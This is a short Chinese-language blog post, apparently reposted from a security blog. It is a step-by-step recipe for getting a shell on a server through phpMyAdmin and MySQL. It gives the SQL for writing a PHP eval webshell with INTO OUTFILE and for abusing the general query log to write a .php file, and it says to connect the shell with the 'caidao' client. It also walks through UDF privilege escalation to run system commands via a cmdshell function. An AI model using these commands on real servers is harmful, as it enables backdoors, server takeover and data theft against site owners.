phpmyadmin日志写shell:
利用条件:
- 有足够权限
- “secure_file_priv”对应的值不能为NULL
secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
phpmyadmin日志写shell:
SHOW VARIABLES LIKE "secure_file_priv"
如果不为空则可利用
select''INTO OUTFILE 'C:\phpStudy\PHPTutorial\WWW\door.php'
使用into outfile 写入一句话
phpmyadmin日志写shell:
select @@datadir
查看数据库路径 盲网站路径
show variables like '%general%';
查询日志开启状态
SET GLOBAL general_log='on'
开启日志
SET GLOBAL general_log_file='C:\phpstudy\www\xxx.php'
设置日志路径以及设置为脚本后缀
SELECT '<?php eval($_POST["cmd"]);?>'
查询一句话直接被写入进去 上菜刀连接
udf提权:
利用条件:
账号具有对Mysql的insert和delete权限
利用过程:
第一步:
获取相应权限后上传udf.php
第二步:
访问udf.php进行连接(需要能够远程连接)
第三步:
D:\xampp\mysql\lib\plugin\udf.dll
链接成功后导出DLL文件(注意目录)
mysql<5.0,导出路径随意; 5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32) mysql>5.1,需要导出到mysql的插件目录
查看插件目录:show variables like ‘%plugin%’;
第四步:
创建自定义函数:Create Function cmdshell returns string soname ‘udf.dll’
已经存在:drop function cmdshell;
第五步:
执行函数:select cmdshell(‘ipconfig’)
http://www.exploit-db.com/exploits/5092
转载请注明:Adminxe's Blog » phpmyadmin日志拿shell拓展